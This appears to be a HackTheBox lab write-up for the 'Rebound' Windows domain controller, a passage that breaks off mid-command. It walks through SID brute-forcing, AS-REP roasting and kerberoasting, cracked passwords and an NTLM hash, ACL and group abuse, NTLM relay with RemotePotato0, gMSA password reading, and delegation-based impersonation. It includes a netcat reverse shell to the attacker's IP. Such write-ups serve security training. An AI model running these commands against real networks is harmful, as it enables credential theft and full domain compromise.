HackTheBox — Rebound

10 min readMar 29, 2024

Rebound involved performing as-rep roasting by bruteforcing domain users SIDs, then kerberoasting ldap_monitor account with pre-authentication disabled, spaying this password to get oorend user, having self permissions on service mgmt group, adding oorend to the group and which had GenericAll on Service Users, where winrm_svc is part of this OU granting us permission to reset this user’s password, running quser to check the logged in users, we had tbrady which had permissions permissiosn to read GMSA Password on delegator$ account, getting a shell as tbrady through RemotePotato and reading the gmsa password, delegator$ had constrained delegation to HTTP on DC01 which can then be used to impersonate as DC01$ account and perform DCSync.

PORT      STATE SERVICE       VERSION                               
53/tcp    open  domain        Simple DNS Plus            
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-13 22:36:56Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:                 
| Subject Alternative Name: DNS:dc01.rebound.htb
| Issuer: commonName=rebound-DC01-CA
| Public Key type: rsa     
| Public Key bits: 2048                   
| Signature Algorithm: sha256WithRSAEncryption   
| Not valid before: 2023-08-25T22:48:10                              
| Not valid after:  2024-08-24T22:48:10  
| MD5:   6605cbaef659f555d80b7a18adfb6ce8
|_SHA-1: af8bec72779e7a0f41ad0302eff5a6ab22f01c74
|_ssl-date: 2023-09-13T22:38:03+00:00; +6h59m59s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-13T22:38:04+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb
| Issuer: commonName=rebound-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-08-25T22:48:10
| Not valid after:  2024-08-24T22:48:10
| MD5:   6605cbaef659f555d80b7a18adfb6ce8
|_SHA-1: af8bec72779e7a0f41ad0302eff5a6ab22f01c74
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb
| Issuer: commonName=rebound-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-08-25T22:48:10
| Not valid after:  2024-08-24T22:48:10
| MD5:   6605cbaef659f555d80b7a18adfb6ce8
|_SHA-1: af8bec72779e7a0f41ad0302eff5a6ab22f01c74
|_ssl-date: 2023-09-13T22:38:03+00:00; +7h00m00s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb
| Issuer: commonName=rebound-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-08-25T22:48:10
| Not valid after:  2024-08-24T22:48:10
| MD5:   6605cbaef659f555d80b7a18adfb6ce8
|_SHA-1: af8bec72779e7a0f41ad0302eff5a6ab22f01c74
|_ssl-date: 2023-09-13T22:38:04+00:00; +6h59m59s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found

First of all adding the DNS entries as some of the things won’t work when it tries to reach DC

Enumerating smb shares will null authentication, this shows us few shares, where Shared might be of some interest

Accessing the shared share shows that it’s empty

Moving on to enumerating users, we can try using lookupsid.py to retrieve usernames, so first trying with null authentication

This didn’t work however we can try with guest account to brute force the SIDs of the users

lookupsid.py guest@rebound.htb

We have few usernames here

ppaul
llune
fflock

Having the usernames, AS-REP roasting can be performed to see if any of these accounts have pre-authentication disabled, GetNPUsers from impacket can be used here which detects for AS-REP accounts

Here I got stuck for a while, not knowing what to do, we can specify the range for brute forcing SIDs, by default the value is 4000

lookupsid.py guest@rebound.htb 10000

This gives us some more user names

Now again checking for pre-auth disabled accounts

GetNPUsers.py rebound.htb/uwu -usersfile users.txt -dc-ip rebound.htb

Kerberoasting with pre-authentication disabled

jjones had no pre-authentication required so grabbing the hash

hashcat -a 0 -m 18200 jjones.txt /usr/share/wordlists/rockyou.txt --force

But this wasn’t crackable with the rockyou wordlist

We can however obtain service ticket for a SPN, performing kerberoasting through an account having no pre-authentication required

Using this https://github.com/ShutdownRepo/impacket/tree/getuserspns-nopreauth version of impacket since it has the GetUsersSPNs with no-preauth implementation

Now using GetUsersSPNS.py with the jjones having no-preauthentication required we can perform ASREP-Kerberoast to retrieve the TGS hash of ldap_monitor

Using hashcat on this hash, it gets cracked with the 1GR8t@$$4u

To verify if this password isn’t being used on multiple accounts we can try password spraying with either use crackmapexec or kerbrute also synchronizing time zone with the DC

Gaining a shell as winrm_svc through self permission abuse

Enumerating the domain with python-bloodhound

python3 /opt/BloodHound.py/bloodhound.py -d 'rebound.htb' -u 'oorend' -p '1GR8t@$$4u' -c all -ns 10.10.11.231

From bloodhound, it didn’t showed anything interesting paths from ldap_monitor or oorend

But we can see ServiceMGMT group has GenericAll on Service Users OU

Enumerating ACLs through powerview.py but this requires kerberos authentication so first we'll need to request TGT of oorend user

powerview --use-ldaps -k --no-pass --dc-ip 10.10.11.231 rebound.htb/oorend@dc01.rebound.htb

Enumerating the access controls on service mgmt group, oorend has Self rights on the object

This means that we can make oorend as the group member of service mgmt

Using powerview.py we can add the group member

Add-DomainGroupMember -Identity ServiceMGMT -Members oorend

Get-DomainGroup -Identity ServiceMGMT

Now we have GenericAll on Service Users OU and under this OU we have two domain users for which we can force change password

We are only interested in changing the password of winrm_svc user since this user can login into DC, for this we need to grant control over to oorend and request TGT after adding him into ServiceMGMT group

Add-DomainObjectAcl -Rights 'ResetPassword' -TargetIdentity "Service Users" -PrincipalIdentity "oorend"

Logging in through rpcclient we can change winrm_svc's users password (the changes get reverted back so we need to do this quickly)

The password for this user will also be reverted so we can instead request TGT and login through winrm

evil-winrm -i dc01.rebound.htb -r REBOUND.HTB

Using RemotePotatoe and Reading GMSA Password

Now our next target is tbrady since he can read GSMApassword of Delegator machine account

Getting a shell through nc64.exe with RunasC.exe to get a shell with netonly authentication

\RunasCs.exe winrm_svc 'P@assword@123' -d rebound.htb 'C:\Users\winrm_svc\Documents\nc64.exe 10.10.14.142 2222 -e cmd.exe' -l 9

After having a shell, with quser we can find tbrady being logged on the DC

This is going to make possible for us to trigger an NTLM authentication of tbrady and capture the NTLMv2 challenge response through RemotePotato0 .We’ll choose the second option which is Rpc capture (hash) server + potato trigger

.\RemotePotato0.exe -m 2 -r 10.10.14.142 -x 10.10.14.142 -p 9999 -s 1

On our machine we’ll run socat and ntlmrealyx

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.231:9999 & sudo impacket-ntlmrelayx -t ldaps://10.10.11.231

Cracking this NTLMv2 challenge response, we’ll get the password for tbrady

So now getting a shell as tbrady through RunasCS by redirecting stdin, stdout and stderr of the specified command to a remote host

RunasCs.exe tbrady 543BOMBOMBUNmanda cmd -r 10.10.14.142:2222

Transferring GMSAPasswordReader

GMSAPasswordReader.exe --AccountName delegator

This can also be retrieved through bloodyAD

bloodyAD.py -u tbrady -d rebound.htb -p 543BOMBOMBUNmanda --host 10.10.11.231 get object 'delegator$' --attr msDS-ManagedPassword

Abusing Constrained Delegation Without Protocol Tranision

Using StandIn we can verify that delegator$ has constrained delegation set to http/dc01.rebound.htb with protocol transition set to false

To abuse this we need to first edit msDS-AllowedToActOnBehalfOfOtherIdentity attribute on delegator$ to add any domain user that we control and request a ticket for browser SPN to impersonate as DC01$ then with http SPN we can impersonate as any domain user we want unless it's not in protected group or not marked is sensitive and cannot be delegated . (I don’t think I explained it correctly so here's the resource which can help in understanding about this scenario )

First requesting TGT of delegator$

With rbcd.py we can try reading the value of msDS-AllowedToActOnBehalfOfOtherIdentity

impacket-rbcd 'rebound.htb/delegator$' -k -no-pass -delegate-to 'delegator$' -action read -use-ldaps -dc-ip 10.10.11.231

We need to add ldap_monitor add in this property as this account has a SPN to dc01 ldapmonitor/dc01.rebound.htb

impacket-rbcd 'rebound.htb/delegator$' -k -no-pass -delegate-to 'delegator$' -action write -delegate-from ldap_monitor -use-ldaps -dc-ip 10.10.11.231

Requesting this account’s TGT and then impersonating as DC01$, reason being we can’t impersonate as administrator as it’s not allowed to be delegated

getST.py -spn "browser/dc01.rebound.htb" -impersonate "dc01$" "rebound.htb/ldap_monitor" -k -no-pass

Now impersonating as DC01$ with HTTP SPN with the ticket obtained from browser SPN

getST.py -spn "http/dc01.rebound.htb" -impersonate "administrator" -additional-ticket "dc01\$.ccache" rebound.htb/'delegator$' -hashes :'CD903918320095660FF2E12072F5551C